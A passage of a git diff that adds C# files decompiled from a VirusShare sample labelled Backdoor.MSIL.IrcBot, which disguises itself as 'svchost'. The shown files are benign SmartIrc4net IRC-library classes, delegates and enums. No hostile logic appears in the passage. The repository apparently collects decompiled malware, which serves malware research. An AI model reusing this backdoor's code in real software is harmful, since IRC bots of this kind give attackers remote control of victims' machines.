public TimeSpan Lag => this._Lag;
internal PongEventArgs(IrcMessageData data, TimeSpan lag)
: base(data)
{
this._Lag = lag;
}
}
}

View File

@ -0,0 +1,10 @@
// Decompiled with JetBrains decompiler
// Type: Meebey.SmartIrc4net.PongEventHandler
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
namespace Meebey.SmartIrc4net
{
public delegate void PongEventHandler(object sender, PongEventArgs e);
}

View File

@ -0,0 +1,18 @@
// Decompiled with JetBrains decompiler
// Type: Meebey.SmartIrc4net.Priority
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
namespace Meebey.SmartIrc4net
{
public enum Priority
{
Low,
BelowMedium,
Medium,
AboveMedium,
High,
Critical,
}
}

View File

@ -0,0 +1,17 @@
// Decompiled with JetBrains decompiler
// Type: Meebey.SmartIrc4net.ProxyType
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
namespace Meebey.SmartIrc4net
{
public enum ProxyType
{
None,
Http,
Socks4,
Socks4a,
Socks5,
}
}

View File

@ -0,0 +1,25 @@
// Decompiled with JetBrains decompiler
// Type: Meebey.SmartIrc4net.QuitEventArgs
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
namespace Meebey.SmartIrc4net
{
public class QuitEventArgs : IrcEventArgs
{
private string _Who;
private string _QuitMessage;
public string Who => this._Who;
public string QuitMessage => this._QuitMessage;
internal QuitEventArgs(IrcMessageData data, string who, string quitmessage)
: base(data)
{
this._Who = who;
this._QuitMessage = quitmessage;
}
}
}

View File

@ -0,0 +1,10 @@
// Decompiled with JetBrains decompiler
// Type: Meebey.SmartIrc4net.QuitEventHandler
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
namespace Meebey.SmartIrc4net
{
public delegate void QuitEventHandler(object sender, QuitEventArgs e);
}

View File

@ -0,0 +1,19 @@
// Decompiled with JetBrains decompiler
// Type: Meebey.SmartIrc4net.ReadLineEventArgs
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
using System;
namespace Meebey.SmartIrc4net
{
public class ReadLineEventArgs : EventArgs
{
private string _Line;
public string Line => this._Line;
internal ReadLineEventArgs(string line) => this._Line = line;
}
}

Some files were not shown because too many files have changed in this diff Show More